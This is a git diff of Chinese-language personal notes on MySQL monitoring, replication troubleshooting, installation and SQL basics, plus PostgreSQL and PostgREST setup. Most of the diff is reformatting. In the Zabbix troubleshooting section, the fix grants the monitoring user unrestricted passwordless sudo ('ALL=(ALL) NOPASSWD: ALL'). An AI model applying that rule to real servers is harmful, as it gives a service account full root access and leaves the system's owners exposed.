'Sleep'and INFO != "NULL" order by Time desc; - -- 通过事务ID查看线程 - SELECT * from information_schema.processlist WHERE id = 738178711/G - ``` - 3. 查看当前连接中连接时间最长的的连接 - ```sql - select host,user,time,state,info from information_schema.processlist order by time desc limit 10; - ``` + show status like 'Threads%'; + + - 输出说明: + + 1. Threads_cached 34 # mysql管理的线程池中还有多少可以被复用的资源 + 2. Threads_connected 32 # 打开的连接数 + 3. Threads_created 66 # 代表新创建的thread(根据官方文档,如果thread_created增大迅速,需要适当调高 thread_cache_size)。 + 4. Threads_running 2 # 激活的连接数,这个数值一般远低于connected数值,准确的来说,Threads_running是代表当前并发数 + +5. information_schema.processlist + + 1. 当前的连接信息都保存在这张表格里 information_schema.processlist, 字段说明如下 + + ```yaml + id: 为连接的应用id号 + user: 为连接数据库的用户 + host: 为连接数据的主机IP地址和端口 + db: 为连接访问的数据库 + command: 为当前正在执行的SQL语句类型,分为Query,Update,Updating等 + time: 为应用的Sleep时间 + state: 为当前连接的状态,共包括Copying to tmp table on disk,Flushing tables,Sending data等二十多种状态。 + info: 为当前应用连接执行的SQL语句,如果语句过长,可能会显示不完整。 + ``` + + 2. 查看应用的连接 + + ```sql + show processlist; + show full processlist; + -- 查看非睡眠状态的连接 + select ID,USER,HOST,DB,COMMAND,TIME,STATE from information_schema.processlist where Command != 'Sleep' order by Time desc; + select ID,USER,HOST,DB,COMMAND,TIME,STATE,INFO from information_schema.processlist where Command != 'Sleep'and INFO != "NULL" order by Time desc; + -- 通过事务ID查看线程 + SELECT * from information_schema.processlist WHERE id = 738178711/G + ``` + + 3. 查看当前连接中连接时间最长的的连接 + + ```sql + select host,user,time,state,info from information_schema.processlist order by time desc limit 10; + ``` + 6. 中止应用线程 - - 一般出现长时间的select可以考虑kill掉,但是update或者delete不建议kill - - kill ${id} - + + - 一般出现长时间的select可以考虑kill掉,但是update或者delete不建议kill + - kill ${id} + ### Mysql自带的数据库 -- information_schema 数据库 - - 保存了该MySQL服务器上所有的数据库及表信息,表字段类型,访问权限等 - - innodb_trx表 保存当前运行的所有事务 - - innodb_locks表 保存当前出现的锁 - - innodb_lock_waits表 保存锁等待的对应关系 +- information_schema 数据库 + + - 保存了该MySQL服务器上所有的数据库及表信息,表字段类型,访问权限等 + + - innodb_trx表 保存当前运行的所有事务 + + - innodb_locks表 保存当前出现的锁 + + - innodb_lock_waits表 保存锁等待的对应关系 - performance_schema 数据库 @@ -418,11 +472,14 @@ pt-query-digest 工具是包含在Percona toolkit里的. 相关安装方式可 - mysql 数据库 ### 当问题已发生 + - 问题已经发生则查询这两种表 - - information_schema.PROCESSLIST - - sys.innodb_lock_waits\ + + - information_schema.PROCESSLIST + - sys.innodb_lock_waits\\ - 排查 + ```sql -- 参考 https://aws.amazon.com/cn/premiumsupport/knowledge-center/blocked-mysql-query/ -- 参考 https://www.cnblogs.com/luyucheng/p/6297752.html @@ -454,6 +511,7 @@ select substring_index(host,':',1) as ip, count(*) as num from information_schem ``` - 排查高CPU的SQL + ```bash # 参考 https://www.percona.com/blog/2020/04/23/a-simple-approach-to-troubleshooting-high-cpu-in-mysql/ @@ -469,14 +527,17 @@ explain ${sql} ``` ### 优化、预防问题发生 + - 通过下面的表进行优化 - - sys.statements_with_full_table_scans - - sys.schema_unused_indexes - - performance_schema.table_io_waits_summary_by_index_usage - - performance_schema.table_io_waits_summary_by_table - - performance_schema.table_lock_waits_summary_by_table + + - sys.statements_with_full_table_scans + - sys.schema_unused_indexes + - performance_schema.table_io_waits_summary_by_index_usage + - performance_schema.table_io_waits_summary_by_table + - performance_schema.table_lock_waits_summary_by_table - 优化 + ```sql -- 查看锁表情况 show status like 'Table%'; @@ -493,6 +554,7 @@ show status like 'InnoDB_row_lock%'; - 如果查询时使用的字符集 和 表的字符集 不一致则会导致索引失效 - 死锁日志 + ```sql show variables like "%innodb_print_all_deadlocks%"; -- 开启死锁日志,死锁日志被存放进error_log配置的文件里面 @@ -503,8 +565,8 @@ set global innodb_print_all_deadlocks=1 -- innodb_lock_wait_timeout 锁等待超时,自动回滚事务, default 50s ``` - ### 统计数据 + ```sql show global status like 'uptime'; -- 开机时间 @@ -535,71 +597,86 @@ show status like 'Qcache%'; ### 磁盘压力过大导致主从同步延迟 -- slow slave status \G - ```log - Slave_SQL_Running_State: System lock - ``` +- slow slave status \\G + + ```log + Slave_SQL_Running_State: System lock + ``` - innodb_flush_log_at_trx_commit和sync_binlog 两个参数是控制MySQL 磁盘写入策略以及数据安全性的关键参数 + - sync_binlog - - sync_binlog参数控制数据库的binlog刷到磁盘上去。 - - select @@sync_binlog; - 1. 默认,sync_binlog=0,表示MySQL不控制binlog的刷新,由文件系统自己控制它的缓存的刷新。这时候的性能是最好的,但是风险也是最大的。因为一旦系统Crash,在binlog_cache中的所有binlog信息都会被丢失。 - 2. sync_binlog=1,事务提交后,将二进制文件写入磁盘并立即执行刷新操作,相当于是同步写入磁盘,不经过操作系统的缓存。 - 3. sync_binlog=N,每写N次操作系统缓冲就执行一次刷新操作。 (将这个参数设为1以上的数值会提高数据库的性能,但同时会伴随数据丢失的风险) + + - sync_binlog参数控制数据库的binlog刷到磁盘上去。 + - select @@sync_binlog; + + 1. 默认,sync_binlog=0,表示MySQL不控制binlog的刷新,由文件系统自己控制它的缓存的刷新。这时候的性能是最好的,但是风险也是最大的。因为一旦系统Crash,在binlog_cache中的所有binlog信息都会被丢失。 + 2. sync_binlog=1,事务提交后,将二进制文件写入磁盘并立即执行刷新操作,相当于是同步写入磁盘,不经过操作系统的缓存。 + 3. sync_binlog=N,每写N次操作系统缓冲就执行一次刷新操作。 (将这个参数设为1以上的数值会提高数据库的性能,但同时会伴随数据丢失的风险) - innodb_flush_log_at_trx_commit - - innodb_flush_log_at_trx_commit参数设置 Log Buffer 里的数据写入磁盘。 - - select @@innodb_flush_log_at_trx_commit; - - mysql写文件有2块缓存。一块是自己定义在内存的Log Buffer, 另一个是磁盘映射到内存的OS Buffer. - - 写入 ---> Log Buffer --flush-> OS Buffer --fsync-> 磁盘 - - mysql可以 调用 flush 主动将Log Buffer 刷新到磁盘内存映射,也可以调用 fsync 强制操作系同步磁盘映射文件到磁盘。还可以同时调用 flush + fsync, 将缓存直接落盘。 - 1. =0 Log Buffer将每秒写入OS Buffer中一次,并且OS Buffer的flush(刷到磁盘)操作同时进行。该模式下在事务提交的时候,不会主动触发写入磁盘的操作。 - 2. =1(默认值) 每次事务提交时MySQL都会把Log Buffer的数据写入log file,并且flush(刷到磁盘)中去。 - 3. =2 每次事务提交时MySQL都会把Log Buffer的数据写入OS Buffer,但是flush(刷到磁盘)操作并不会同时进行。该模式下,MySQL会每秒执行一次 flush(刷到磁盘)操作。 + - innodb_flush_log_at_trx_commit参数设置 Log Buffer 里的数据写入磁盘。 + + - select @@innodb_flush_log_at_trx_commit; + + - mysql写文件有2块缓存。一块是自己定义在内存的Log Buffer, 另一个是磁盘映射到内存的OS Buffer. + + - 写入 ---> Log Buffer --flush-> OS Buffer --fsync-> 磁盘 + + - mysql可以 调用 flush 主动将Log Buffer 刷新到磁盘内存映射,也可以调用 fsync 强制操作系同步磁盘映射文件到磁盘。还可以同时调用 flush + fsync, 将缓存直接落盘。 + + 1. =0 Log Buffer将每秒写入OS Buffer中一次,并且OS Buffer的flush(刷到磁盘)操作同时进行。该模式下在事务提交的时候,不会主动触发写入磁盘的操作。 + 2. =1(默认值) 每次事务提交时MySQL都会把Log Buffer的数据写入log file,并且flush(刷到磁盘)中去。 + 3. =2 每次事务提交时MySQL都会把Log Buffer的数据写入OS Buffer,但是flush(刷到磁盘)操作并不会同时进行。该模式下,MySQL会每秒执行一次 flush(刷到磁盘)操作。 -innodb_io_capacity = 3000 ( 默认为 200, 配置成常用的IOPS使用量 ,可增加写入效能 ) [2] -innodb_io_capacity_max = 6000 ( 默认为 2000, 配置成RDS常用使用量的2倍,可增加写入效能 ) +innodb_io_capacity = 3000 ( 默认为 200, 配置成常用的IOPS使用量 ,可增加写入效能 ) [2] +innodb_io_capacity_max = 6000 ( 默认为 2000, 配置成RDS常用使用量的2倍,可增加写入效能 ) ### zabbix远程执行mysql指令失败 - - Remote Commands执行 mysql -V,touch /tmp/test 都成功了 - - su - zabbix 后执行 key_name='gary' && /usr/bin/mysql --login-path=${key_name} -e "stop slave; start slave;"; 也成功了 - ```bash - key_name='gary' - /usr/bin/mysql --login-path=${key_name} -e "stop slave; start slave;"; - echo '--------' - mysql_config_editor print --all - ``` - ```log - ERROR 1045 (28000): Access denied for user 'zabbix'@'localhost' (using password: NO) - -------- - failed to set login file name - operation failed. - ``` - - 最后的解决措施 - - visudo 添加配置 zabbix ALL=(ALL) NOPASSWD: ALL - - Remote Commads 配置 sudo /usr/bin/mysql --login-path=${key_name} -e "stop slave; start slave;"; + +```` +- Remote Commands执行 mysql -V,touch /tmp/test 都成功了 +- su - zabbix 后执行 key_name='gary' && /usr/bin/mysql --login-path=${key_name} -e "stop slave; start slave;"; 也成功了 +```bash +key_name='gary' +/usr/bin/mysql --login-path=${key_name} -e "stop slave; start slave;"; +echo '--------' +mysql_config_editor print --all +``` +```log +ERROR 1045 (28000): Access denied for user 'zabbix'@'localhost' (using password: NO) +-------- +failed to set login file name +operation failed. +``` +- 最后的解决措施 + - visudo 添加配置 zabbix ALL=(ALL) NOPASSWD: ALL + - Remote Commads 配置 sudo /usr/bin/mysql --login-path=${key_name} -e "stop slave; start slave;"; +```` ### 死锁导致主从同步异常 -- 不理解/从库只读,为什么会产生死锁 -- 错误日志 - ```log - show slave status\G - ... - Last_SQL_Errno: 1205 - Last_Error: Slave SQL thread retried transaction 20 time(s) in vain, giving up. Consider raising the value of the slave_transaction_retries variable. - ... - - /var/log/mysqld.log - ... - 2021-08-05T07:48:36.255411Z 27177963 [Warning] Slave SQL for channel '': Could not execute Write_rows event on table 被同步的数据库名.表名; Lock wait timeout exceeded; try restarting transaction, Error_code: 1205; handler error HA_ERR_LOCK_WAIT_TIMEOUT; the event's master log m ysql-bin-changelog.150903, end_log_pos 2250513, Error_code: 1205 - 2021-08-05T07:48:36.256217Z 27177963 [ERROR] Slave SQL for channel '': Slave SQL thread retried transaction 20 time(s) in vain, giving up. Consider raising the value of the slave_transaction_retries variable. Error_code: 1205 - 2021-08-05T07:48:36.256228Z 27177963 [Warning] Slave: Lock wait timeout exceeded; try restarting transaction Error_code: 1205 - 2021-08-05T07:48:36.256866Z 27177963 [ERROR] Error running query, slave SQL thread aborted. Fix the problem, and restart the slave SQL thread with "SLAVE START". We stopped at log 'mysql-bin-changelog.150903' position 2248860. - 2021-08-05T07:54:37.147338Z 27162992 [Note] Aborted connection 27162992 to db: 'mysql' user: '用户名' host: 'IP地址' (Got an error reading communication packets) - ``` + +- 错误日志 + + ```log + show slave status\G + ... + Last_SQL_Errno: 1205 + Last_Error: Slave SQL thread retried transaction 20 time(s) in vain, giving up. Consider raising the value of the slave_transaction_retries variable. + ... + + /var/log/mysqld.log + ... + 2021-08-05T07:48:36.255411Z 27177963 [Warning] Slave SQL for channel '': Could not execute Write_rows event on table 被同步的数据库名.表名; Lock wait timeout exceeded; try restarting transaction, Error_code: 1205; handler error HA_ERR_LOCK_WAIT_TIMEOUT; the event's master log m ysql-bin-changelog.150903, end_log_pos 2250513, Error_code: 1205 + 2021-08-05T07:48:36.256217Z 27177963 [ERROR] Slave SQL for channel '': Slave SQL thread retried transaction 20 time(s) in vain, giving up. Consider raising the value of the slave_transaction_retries variable. Error_code: 1205 + 2021-08-05T07:48:36.256228Z 27177963 [Warning] Slave: Lock wait timeout exceeded; try restarting transaction Error_code: 1205 + 2021-08-05T07:48:36.256866Z 27177963 [ERROR] Error running query, slave SQL thread aborted. Fix the problem, and restart the slave SQL thread with "SLAVE START". We stopped at log 'mysql-bin-changelog.150903' position 2248860. + 2021-08-05T07:54:37.147338Z 27162992 [Note] Aborted connection 27162992 to db: 'mysql' user: '用户名' host: 'IP地址' (Got an error reading communication packets) + ``` - slave因为锁导致主从中断 + ```sql -- InnoDB事务在放弃前等待行锁的时间(秒)。innodb_lock_wait_timeout默认值为50秒。当有试图访问被另一行锁定的行的事务InnoDB事务在发出以下错误: -- ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction @@ -607,4 +684,4 @@ show variables like '%innodb_lock_wait_timeout%'; -- 参数 slave_transaction_retries 设置的为10次,如果事务重试次数超过10次,复制中断。 show variables like '%slave_transaction_retries%'; -``` \ No newline at end of file +``` diff --git a/software/db/mysql/mysql_install.md b/software/db/mysql/mysql_install.md index 1785c7d..1bc3ef7 100644 --- a/software/db/mysql/mysql_install.md +++ b/software/db/mysql/mysql_install.md @@ -1,5 +1,13 @@ +--- +created_date: 2021-08-05 +--- + +[TOC] + ## 安装 + ### 安装mysql5.6 + - 参考 https://blog.csdn.net/pengjunlee/article/details/81212250 ```bash @@ -22,6 +30,7 @@ skip-grant-tables ``` ### 安装mysql5.7 + ```bash wget http://repo.mysql.com/mysql57-community-release-el7-10.noarch.rpm rpm -Uvh mysql57-community-release-el7-10.noarch.rpm @@ -49,6 +58,7 @@ grep 'temporary password' /var/log/mysqld.log ``` ### 彻底卸载mysql5.6 + ```bash rpm -qa|grep mysql | xargs yum remove -y rm -f /etc/my.cnf @@ -57,15 +67,19 @@ rm -rf /var/lib/mysql # 如果这个目录如果不删除,再重新安装之 ``` ### 配置 + - Mysql配置从上到下优先级降低 - - /etc/my.cnf - - /etc/mysql/my.cnf - - /usr/local/etc/my.cnf - - ~/.my.cnf + - /etc/my.cnf + - /etc/mysql/my.cnf + - /usr/local/etc/my.cnf + - ~/.my.cnf #### 字符集编码配置 + 1. 更改字符集编码 + - vi /etc/my.cnf + ```conf # 在[mysqld]下添加: default-storage-engine=INNODB @@ -77,6 +91,7 @@ default-character-set=utf8 ``` 2. 查看字符集的配置 + ```sql -- 查看Mysql的字符集 show variables like "%character%"; @@ -90,92 +105,101 @@ default-character-set=utf8 ``` 3. 更改字符集 + ```sql alter database 库名 character set utf8mb4; alter 表名 convert to character set utf8mb4 collate utf8mb4_bin; ``` - ## 配置主从同步 -- 参考 - - https://www.jianshu.com/p/b0cf461451fb - - https://dev.mysql.com/doc/refman/5.7/en/start-slave.html + +- 参考 + + - https://www.jianshu.com/p/b0cf461451fb + - https://dev.mysql.com/doc/refman/5.7/en/start-slave.html - MySQL主从同步的作用: - 1. 可以作为备份机制,相当于热备份 - 2. 可以用来做读写分离,均衡数据库负载 + + 1. 可以作为备份机制,相当于热备份 + 2. 可以用来做读写分离,均衡数据库负载 1. 在主数据库上启动binlog日志 - ```conf - #主数据库端ID号 # 必须配置否则mysql会启动失败 - server_id = 1 - #开启二进制日志,配置二进制日志所在路径 - log-bin = mysql-bin - #二进制日志自动删除的天数,默认值为0,表示“没有自动删除”,启动时和二进制日志循环时可能删除 - expire_logs_days = 7 - #需要复制的数据库名,如果复制多个数据库,重复设置这个选项即可 - binlog-do-db = ${db} - #需要忽略的数据库 - binlog-ignore-db = ${db} - #设置将从服务器从主服务器收到的更新记入到从服务器自己的二进制日志文件中 - log-slave-updates - #控制binlog的写入频率。每执行多少次事务写入一次(这个参数性能消耗很大,但可减小MySQL崩溃造成的损失) - sync_binlog = 1 - #将函数复制到slave - log_bin_trust_function_creators = 1 - - #这个参数一般用在主主同步中,用来错开自增值, 防止键值冲突 - # auto_increment_offset = 1 - #这个参数一般用在主主同步中,用来错开自增值, 防止键值冲突 - # auto_increment_increment = 1 - - # binlog_format = row # MySQL 5.7.7 之前,binlog 的默认格式都是 STATEMENT,在 5.7.7 及更高版本中,binlog_format 的默认值是 ROW - # STATEMENT 模式:每一条会修改数据的sql语句会记录到binlog中 - # ROW 模式:仅需记录哪条数据被修改了,修改成什么样了 - # MIXED 模式:以上两种模式的混合使用 - ``` + + ```conf + #主数据库端ID号 # 必须配置否则mysql会启动失败 + server_id = 1 + #开启二进制日志,配置二进制日志所在路径 + log-bin = mysql-bin + #二进制日志自动删除的天数,默认值为0,表示“没有自动删除”,启动时和二进制日志循环时可能删除 + expire_logs_days = 7 + #需要复制的数据库名,如果复制多个数据库,重复设置这个选项即可 + binlog-do-db = ${db} + #需要忽略的数据库 + binlog-ignore-db = ${db} + #设置将从服务器从主服务器收到的更新记入到从服务器自己的二进制日志文件中 + log-slave-updates + #控制binlog的写入频率。每执行多少次事务写入一次(这个参数性能消耗很大,但可减小MySQL崩溃造成的损失) + sync_binlog = 1 + #将函数复制到slave + log_bin_trust_function_creators = 1 + + #这个参数一般用在主主同步中,用来错开自增值, 防止键值冲突 + # auto_increment_offset = 1 + #这个参数一般用在主主同步中,用来错开自增值, 防止键值冲突 + # auto_increment_increment = 1 + + # binlog_format = row # MySQL 5.7.7 之前,binlog 的默认格式都是 STATEMENT,在 5.7.7 及更高版本中,binlog_format 的默认值是 ROW + # STATEMENT 模式:每一条会修改数据的sql语句会记录到binlog中 + # ROW 模式:仅需记录哪条数据被修改了,修改成什么样了 + # MIXED 模式:以上两种模式的混合使用 + ``` 2. 在从数据库上配置binlog - ```conf - server_id = 2 - log-bin = mysql-bin - log-slave-updates - sync_binlog = 0 - #log buffer将每秒一次地写入log file中,并且log file的flush(刷到磁盘)操作同时进行。该模式下在事务提交的时候,不会主动触发写入磁盘的操作 - innodb_flush_log_at_trx_commit = 0 - #指定slave要复制哪个库,如果复制多个数据库,重复设置这个选项即可 - replicate-do-db = ${db} - #MySQL主从复制的时候,当Master和Slave之间的网络中断,但是Master和Slave无法察觉的情况下(比如防火墙或者路由问题)。Slave会等待slave_net_timeout设置的秒数后,才能认为网络出现故障,然后才会重连并且追赶这段时间主库的数据 - slave-net-timeout = 60 - log_bin_trust_function_creators = 1 - ``` + + ```conf + server_id = 2 + log-bin = mysql-bin + log-slave-updates + sync_binlog = 0 + #log buffer将每秒一次地写入log file中,并且log file的flush(刷到磁盘)操作同时进行。该模式下在事务提交的时候,不会主动触发写入磁盘的操作 + innodb_flush_log_at_trx_commit = 0 + #指定slave要复制哪个库,如果复制多个数据库,重复设置这个选项即可 + replicate-do-db = ${db} + #MySQL主从复制的时候,当Master和Slave之间的网络中断,但是Master和Slave无法察觉的情况下(比如防火墙或者路由问题)。Slave会等待slave_net_timeout设置的秒数后,才能认为网络出现故障,然后才会重连并且追赶这段时间主库的数据 + slave-net-timeout = 60 + log_bin_trust_function_creators = 1 + ``` 3. 在master数据库上创建允许slave数据库同步数据的账户 - ```sql - grant replication slave on *.* to 'USER'@'IP' identified by 'PASSWORD'; - flush privileges; - ``` + + ```sql + grant replication slave on *.* to 'USER'@'IP' identified by 'PASSWORD'; + flush privileges; + ``` 4. 在slave数据库上进行配置 - ```sql - -- master数据库上进行操作,获取master_log_file 和 master_log_pos - show master status; - -- slave数据库上进行操作,设置slave连接到master数据库 - change master to master_host='IP', master_user='slave', master_password='slave',master_log_file='mysql-bin.000001', master_log_pos=590; - -- slave数据库上进行操作,设置从库只读,防止意外写入,造成同步数据产生冲突,停止同步。 - set global read_only=1; - ``` + ```sql + -- master数据库上进行操作,获取master_log_file 和 master_log_pos + show master status; + + -- slave数据库上进行操作,设置slave连接到master数据库 + change master to master_host='IP', master_user='slave', master_password='slave',master_log_file='mysql-bin.000001', master_log_pos=590; + -- slave数据库上进行操作,设置从库只读,防止意外写入,造成同步数据产生冲突,停止同步。 + set global read_only=1; + ``` 5. slave数据库启停主从 - ```sql - stop slave; - start slave; - ``` + + ```sql + stop slave; + start slave; + ``` 6. slave数据库查看主从状态 - ```sql - -- Slave_IO_Running和Slave_SQL_Runing两个参数YES,则表示主从复制关系正常。 - show slave status\G; - ``` \ No newline at end of file + + ```sql + -- Slave_IO_Running和Slave_SQL_Runing两个参数YES,则表示主从复制关系正常。 + show slave status\G; + ``` diff --git a/software/db/mysql/mysql_sql.md b/software/db/mysql/mysql_sql.md index b0f1ac7..4f71ab1 100644 --- a/software/db/mysql/mysql_sql.md +++ b/software/db/mysql/mysql_sql.md @@ -1,16 +1,26 @@ +--- +created_date: 2021-08-05 +--- + +[TOC] + # SQL + ## SQL语句 + ### SQL语句分类 + 1. DDL 数据定义语言,用来定义数据库对象:库、表、列 - - 代表性关键字:create alter drop + - 代表性关键字:create alter drop 2. DML 数据操作语言,用来定义数据库记录 - - 代表性关键字:insert delete update + - 代表性关键字:insert delete update 3. DCL 数据控制语言,用来定义访问权限和安全级别 - - 代表性关键字:grant deny revoke + - 代表性关键字:grant deny revoke 4. DQL 数据查询语言,用来查询记录数据 - - 代表性关键字:select + - 代表性关键字:select + +### 简单SQL -### 简单SQL ```sql create database test default character set=utf8mb4; use test; @@ -38,6 +48,7 @@ sql语句 order by 字段名 desc limit 5; ``` ### 进阶SQL + ```sql -- 将查询的结果插入表中 insert into gary_user_tb(user_name) select user_name from gary_user_tb where user_id=1; @@ -49,12 +60,15 @@ select ... for update; ``` ### 事务 + 1. 禁止事务自动提交 + ```sql SET AUTOCOMMIT=0 ``` 2. 显式地开启一个事务 + ```sql BEGIN; -- 或 START TRANSACTION 显式地开启一个事务 -- 执行sql语句; @@ -65,7 +79,9 @@ COMMIT; -- 或 ROLLBACK ``` ### 多表查询 + - 连表查 + ```sql -- 1. 交叉连接,生成笛卡尔积 select * from table_A, table_B where table_A.字段=table_B.字段; @@ -77,25 +93,28 @@ select * from table_A left join table_B on table_A.字段=table_B.字段; -- 4. 全外连接 select * from table_A left join table_B on table_A.字段=table_B.字段 union select * from table_A right join table_B on table_A.字段=table_B.字段; ``` + - 子查询 + ```sql select name from table_B where id = (select id from table_A where 字段 = ''); select name from table_B where id not in (select id from table_A where 字段 = '' or 字段 = ''); ``` + - 联合查询 + ```sql -- 可以将不同表中符合条件的数据信息显示在同一列中 -- 在每个查询表中,对应列的数据结构必须一样 select * from table_A union select * from table_A; ``` - ## 存储过程 - ## 注意事项 + - timestamp - - CURRENT_TIMESTAMP 当要向数据库执行insert操作时,无论这个字段有没有set值,都插入当前系统时间 - - ON UPDATE CURRENT_TIMESTAMP 当执行update操作时,无论这个字段值有没有变化,它的值都会更新为当前UPDATE操作时的时间。 - - NULL \ No newline at end of file + - CURRENT_TIMESTAMP 当要向数据库执行insert操作时,无论这个字段有没有set值,都插入当前系统时间 + - ON UPDATE CURRENT_TIMESTAMP 当执行update操作时,无论这个字段值有没有变化,它的值都会更新为当前UPDATE操作时的时间。 + - NULL diff --git a/software/db/postgresql.md b/software/db/postgresql.md index 300939d..bdeee66 100644 --- a/software/db/postgresql.md +++ b/software/db/postgresql.md @@ -1,21 +1,32 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + - PostgreSQL + ## 相关链接 + - https://www.postgresql.org/ - https://www.postgresql.org/about/press/presskit12/zh/ ## 安装 + ### 版本2021 -| Version | Current minor | Supported | First Release | Final Release | -| ------- | ------------- | --------- | ------------------ | ----------------- | -| 14 | 14.4 | Yes | September 30, 2021 | November 12, 2026 | -| 13 | 13.7 | Yes | September 24, 2020 | November 13, 2025 | -| 12 | 12.11 | Yes | October 3, 2019 | November 14, 2024 | -| 11 | 11.16 | Yes | October 18, 2018 | November 9, 2023 | -| 10 | 10.21 | Yes | October 5, 2017 | November 10, 2022 | +| Version | Current minor | Supported | First Release | Final Release | +| ------- | ------------- | --------- | ------------------ | ----------------- | +| 14 | 14.4 | Yes | September 30, 2021 | November 12, 2026 | +| 13 | 13.7 | Yes | September 24, 2020 | November 13, 2025 | +| 12 | 12.11 | Yes | October 3, 2019 | November 14, 2024 | +| 11 | 11.16 | Yes | October 18, 2018 | November 9, 2023 | +| 10 | 10.21 | Yes | October 5, 2017 | November 10, 2022 | ### 安装 + 1. Ubuntu安装 + ```bash # https://www.postgresql.org/download/linux/ubuntu/ echo "deb http://apt.postgresql.org/pub/repos/apt $(lsb_release -cs)-pgdg main" > /etc/apt/sources.list.d/pgdg.list @@ -28,22 +39,25 @@ apt-get install libpq-dev -y ``` 2. 安装完后 - - 生成一个服务 systemctl status postgresql - - 生成一个用户 postgres - - server进程: /usr/lib/postgresql/12/bin/postgres -D /var/lib/postgresql/12/main -c config_file=/etc/postgresql/12/main/postgresql.conf - - 默认配置 远程Ip不能访问 - - 默认会有三个数据库 postgres template1 template2 - - 默认端口 5432 - -3. 更改数据库目录步骤 - - 初始化数据库 - mkdir /data/postgresql; chown postgres.postgres /data/postgresql - su - postgres - /usr/lib/postgresql/12/bin/initdb -D /data/postgresql/ - - 更改配置文件 /etc/postgresql/12/main/postgresql.conf 文件字段 data_directory 。 - - root权限下重启服务 systemctl restart postgresql + + - 生成一个服务 systemctl status postgresql + - 生成一个用户 postgres + - server进程: /usr/lib/postgresql/12/bin/postgres -D /var/lib/postgresql/12/main -c config_file=/etc/postgresql/12/main/postgresql.conf + - 默认配置 远程Ip不能访问 + - 默认会有三个数据库 postgres template1 template2 + - 默认端口 5432 + +3. 更改数据库目录步骤 + + - 初始化数据库 + mkdir /data/postgresql; chown postgres.postgres /data/postgresql + su - postgres + /usr/lib/postgresql/12/bin/initdb -D /data/postgresql/ + - 更改配置文件 /etc/postgresql/12/main/postgresql.conf 文件字段 data_directory 。 + - root权限下重启服务 systemctl restart postgresql 4. Centos7安装 + ```bash sudo su - yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm @@ -54,6 +68,7 @@ systemctl start postgresql-14 ``` 5. 登入数据库 + ```bash # 方式一 本地登入 su - postgres @@ -63,41 +78,48 @@ psql -h IP地址 -p 端口 -d 数据库名 -U 用户名 -W 密码 psql -h 127.0.0.1 -p 5432 -d eth -U eth ``` -6. 数据库配置文件 /etc/postgresql/12/main/pg_hba.conf +6. 数据库配置文件 /etc/postgresql/12/main/pg_hba.conf -7. 彻底删除postgres https://www.cnblogs.com/jimlee027/p/6276723.html +7. 彻底删除postgres https://www.cnblogs.com/jimlee027/p/6276723.html ## 语法 + ### 概念 + 1. 数据库 database 2. 模式 Schema - - 可以看着是一个表的集合。 - - 一个模式可以包含视图、索引、据类型、函数和操作符等。 + - 可以看着是一个表的集合。 + - 一个模式可以包含视图、索引、据类型、函数和操作符等。 3. 表 table ### 常规操作 -1. 列举数据库: \l -2. 切换数据库: \c 数据库名 -3. 列出用户: \du -4. 切换用户: \c - 用户名 -5. 获取当前连接数据库中可见的schema ``\dn`` 或 ``select * from information_schema.schemata;`` -6. 创建schema ``create schema schema名字;`` -7. 切换schema ``set search_path to schema名字;`` -8. 查看该当前库当前schema中的所有表: \dt -9. 查看表结构: \d 表名 -10. 显示字符集: \encoding -11. 退出psgl: \q -12. 格式化输出: \x -13. 执行sql文件: \i /path/xxx.sql -14. 设置内部变量或者列出所有的变量 \set + +01. 列举数据库: \\l +02. 切换数据库: \\c 数据库名 +03. 列出用户: \\du +04. 切换用户: \\c - 用户名 +05. 获取当前连接数据库中可见的schema `\dn` 或 `select * from information_schema.schemata;` +06. 创建schema `create schema schema名字;` +07. 切换schema `set search_path to schema名字;` +08. 查看该当前库当前schema中的所有表: \\dt +09. 查看表结构: \\d 表名 +10. 显示字符集: \\encoding +11. 退出psgl: \\q +12. 格式化输出: \\x +13. 执行sql文件: \\i /path/xxx.sql +14. 设置内部变量或者列出所有的变量 \\set ### SQL + #### 软件信息 -1. 查看数据目录 ``show data_directory;`` -2. 查看服务版本 ``select version();`` + +1. 查看数据目录 `show data_directory;` +2. 查看服务版本 `select version();` #### 权限 + - 用户与数据库 + ```sql CREATE USER pg_user WITH PASSWORD '*****'; CREATE DATABASE db_name OWNER pg_user; @@ -105,12 +127,14 @@ GRANT ALL PRIVILEGES ON DATABASE db_name TO pg_user; ``` - 用户与表 + ```sql create table table_name; ALTER TABLE table_name OWNER TO pg_user; ``` - 用户角色密码 + ```sql SELECT * FROM pg_roles; SELECT * FROM pg_user; @@ -118,6 +142,7 @@ ALTER USER user_name WITH PASSWORD 'password'; ``` #### SQL + ```sql -- 创建表格 create table gary_user_tb (user_id int, user_name varchar(40) not null, primary key ( user_id )); @@ -133,15 +158,16 @@ CREATE INDEX 索引名 TRUNCATE ${tablename} RESTART IDENTITY; ``` - ## Postgrest -- 参考文档 - 1. https://postgrest.org/en/v7.0.0/install.html + +- 参考文档 + 1. https://postgrest.org/en/v7.0.0/install.html - 基于PostgreSQL数据库,实现条件查询和访问性控制,提供RESTful API 的稳定WEB服务。 - 1. 数据库结构和约束决定API的端点和操作。 - 2. PostgREST可以替代手动的CRUD开发。 + 1. 数据库结构和约束决定API的端点和操作。 + 2. PostgREST可以替代手动的CRUD开发。 ### 安装 + ```bash curl -O https://github.com/PostgREST/postgrest/releases/download/v7.0.0/postgrest-v7.0.0-ubuntu.tar.xz xz -d postgrest-v7.0.0-ubuntu.tar.xz @@ -149,8 +175,10 @@ xz -d postgrest-v7.0.0-ubuntu.tar.xz ``` ### 配置启动 + - 配置配置文件 vim postgrest.conf -```conf + +```conf db-uri = "postgres://eth:eth@127.0.0.1:5432/eth" db-schema = "public" db-anon-role = "eth" @@ -160,6 +188,7 @@ server-port = 3000 ``` - 配置服务 vim /lib/systemd/system/postgrest.service + ```conf # /lib/systemd/system/postgrest.service [Unit] @@ -182,11 +211,13 @@ WantedBy=multi-user.target ``` - 启动 + ``` ./postgrest postgrest.conf ``` ### API + ```bash tablename=ethtxs curl http://localhost:3000/${tablename}?limit=10 #获取前10条数据 @@ -194,4 +225,4 @@ curl http://localhost:3000/${tablename}?limit=10&offset=30 #分页 curl http://localhost:3000/${tablename}?limit=10&order=height.desc #倒序 curl http://localhost:3000/${tablename}?limit=10&select=height #只获取height字段 curl http://localhost:3000/${tablename}?limit=10&select=height,hash&id.gte.99999 # 获取id>99999的数据 -``` \ No newline at end of file +``` diff --git a/software/db/rocksDB.md b/software/db/rocksDB.md index 08845da..e98c1e1 100644 --- 